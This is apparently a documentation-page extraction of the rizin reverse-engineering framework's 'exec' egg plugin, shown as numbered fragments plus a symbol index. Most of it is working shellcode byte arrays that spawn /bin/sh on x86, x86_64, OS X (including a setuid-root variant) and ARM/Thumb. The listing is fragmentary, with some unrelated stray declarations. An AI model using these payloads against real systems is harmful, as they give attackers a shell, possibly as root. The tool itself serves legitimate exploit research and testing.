7 31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80
10 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
13 "\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";
19 "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17"
20 "\x31\xff\x4c\x89\xc0\x0f\x05"
21 "\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
22 "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff"
24 "\x2f\x62\x69\x6e\x2f\x73\x68";
26 "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17"
28 "\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
29 "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff"
31 "\x2f\x62\x69\x6e\x2f\x73\x68";
36 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
37 "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
41 "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"
42 "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b"
43 "\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
47 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
50 "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5"
51 "\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2"
52 "\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
53 "\x2f\x62\x69\x6e\x2f\x73\x68";
56 "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90"
57 "\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68";
66 if (suid && *suid ==
'f') {
89 eprintf(
"no suid for this platform\n");
100 if (shell && *shell) {
101 int len = strlen(shell);
104 eprintf(
"Unsupported CMD length\n");
108 memcpy(&
b, shell, strlen(shell));
115 shell[
sizeof(
st64)] = 0;
147 if (shell && *shell) {
164 .desc =
"execute cmd=/bin/sh suid=false",
165 .build = (
void *)
build
168 #ifndef RZ_PLUGIN_INCORE
RZ_API char * rz_egg_option_get(RzEgg *egg, const char *key)
static RzBuffer * build(RzEgg *egg)
RZ_API RzLibStruct rizin_plugin
static ut8 x86_64_linux_binsh[]
RzEggPlugin rz_egg_plugin_exec
static ut8 thumb_linux_binsh[]
static ut8 x86_linux_binsh[]
static ut8 x86_osx_suid_binsh[]
static ut8 x86_osx_binsh[]
static ut8 arm_linux_binsh[]
RZ_API void Ht_() free(HtName_(Ht) *ht)
memcpy(mem, inblock.get(), min(CONTAINING_RECORD(inblock.get(), MEMBLOCK, data) ->size, size))
void * realloc(void *ptr, size_t size)
static const char struct stat static buf struct stat static buf static idle const char static path static fd const char static len const void static prot const char struct module static image struct kernel_sym static table unsigned char static buf static fsuid unsigned struct dirent unsigned static count const struct iovec static count static pid const void static len static flags const struct sched_param static p static pid static policy struct timespec static tp setresuid
RZ_API st64 rz_buf_write_at(RZ_NONNULL RzBuffer *b, ut64 addr, RZ_NONNULL const ut8 *buf, ut64 len)
Write len bytes of the buffer at the specified address.
RZ_API bool rz_buf_set_bytes(RZ_NONNULL RzBuffer *b, RZ_NONNULL const ut8 *buf, ut64 len)
Replace the content of the buffer with the bytes array.
RZ_API RZ_OWN RzBuffer * rz_buf_new_with_bytes(RZ_NULLABLE RZ_BORROW const ut8 *bytes, ut64 len)
Creates a new buffer with a bytes array.
#define RZ_EGG_PLUGIN_SHELLCODE
RZ_API size_t rz_str_ncpy(char *dst, const char *src, size_t n)
Secure string copy with null terminator.